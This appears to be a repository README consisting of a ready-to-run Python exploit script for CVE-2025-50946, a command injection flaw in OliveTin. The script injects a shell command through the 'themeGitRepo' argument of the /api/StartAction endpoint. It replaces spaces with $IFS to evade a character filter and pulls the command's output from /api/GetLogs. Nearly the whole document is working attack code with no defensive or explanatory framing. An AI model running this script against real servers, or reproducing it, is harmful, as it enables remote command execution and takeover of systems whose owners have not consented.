README.md
Rendering markdown...
#!/usr/bin/python
import argparse
import ipaddress
import requests
import sys
import time
from urllib.parse import urlparse
def main(args):
validate(args)
target = f"{args.target}:{args.port}"
msg = f"[*] Target: {target}"
print(msg)
endpoint = "/api/StartAction"
full_url = target + endpoint
cmd_payload = build_command(args.command)
print(f"[*] Payload: {cmd_payload}")
# Match format of javascript's Date.now()
current_epoch_time = time.time_ns() // 1_000_000
get_theme_uuid = "8efb249e-b0a3-4842-9f67-e04b67b7a750"
data = {
"actionId": get_theme_uuid,
"arguments": [
{
"name":"themeGitRepo",
"value":f"http://t;{cmd_payload}"
},
{
"name":"themeFolderName",
"value":""
}
],
"uniqueTrackingId": str(current_epoch_time)
}
print("[*] Sending payload... ")
response = requests.post(full_url, json=data)
if response.status_code == 200:
pass
else:
print()
print(f"[-] Got bad HTTP response code: {response.status_code}")
print(response.text)
# Check /api/GetLogs for command output
# Set a few headers for good measure
output_endpoint = "/api/GetLogs"
headers = {
"Referer": f"{target}/logs",
"Accept": "*/*"
}
full_url = target + output_endpoint
response = requests.get(full_url, headers=headers)
if response.status_code == 200:
response_dict = response.json()
logs = response_dict.get("logs")
# Filter out logs which were not "Get Theme" actions
logs = [l for l in logs if l.get("actionId") == get_theme_uuid]
# Get output from latest action
# Remove blank lines and the line containing the error message
cmd_output_lines = logs[-1].get("output").split("\n")
cmd_output_lines = [l for l in cmd_output_lines if l]
cmd_output_lines = [l for l in cmd_output_lines if "olivetin-get-theme: not found" not in l]
print("\n".join(cmd_output_lines))
else:
print(f"[-] Got non-200 HTTP response code: {response.status_code}")
print(response.text)
def build_command(cmd_raw):
"""
Banned characters: <SPACE> -> replace with $IFS
"""
cmd_payload = cmd_raw.replace(" ","$IFS")
return cmd_payload
def validate(args):
parsed = urlparse(args.target)
if parsed.scheme not in ("http", "https"):
sys.exit(f"[!] Invalid scheme: must be http:// or https:// (got {args.target!r})")
if not parsed.netloc or parsed.path or parsed.query or parsed.fragment:
sys.exit(f"[!] Invalid target: must be exactly http://IP or https://IP (got {args.target!r})")
if parsed.port is not None or "@" in parsed.netloc:
sys.exit(f"[!] Invalid target: no port or userinfo allowed in URL (got {args.target!r})")
try:
ipaddress.ip_address(parsed.hostname)
except (ValueError, TypeError):
sys.exit(f"[!] Invalid IP address in target: {parsed.hostname!r}")
if args.port is None:
args.port = 443 if parsed.scheme == "https" else 80
if not 1 <= args.port <= 65535:
sys.exit(f"[!] Invalid port: {args.port} (must be 1-65535)")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit script for CVE-2025-50946")
parser.add_argument("-t", "--target", required=True, help="Target URL (http://IP or https://IP)")
parser.add_argument("-p", "--port", type=int, help="Target port (1-65535); defaults to 80/443 by scheme")
parser.add_argument("--command", required=True, type=str, help="Command to inject")
args = parser.parse_args()
main(args)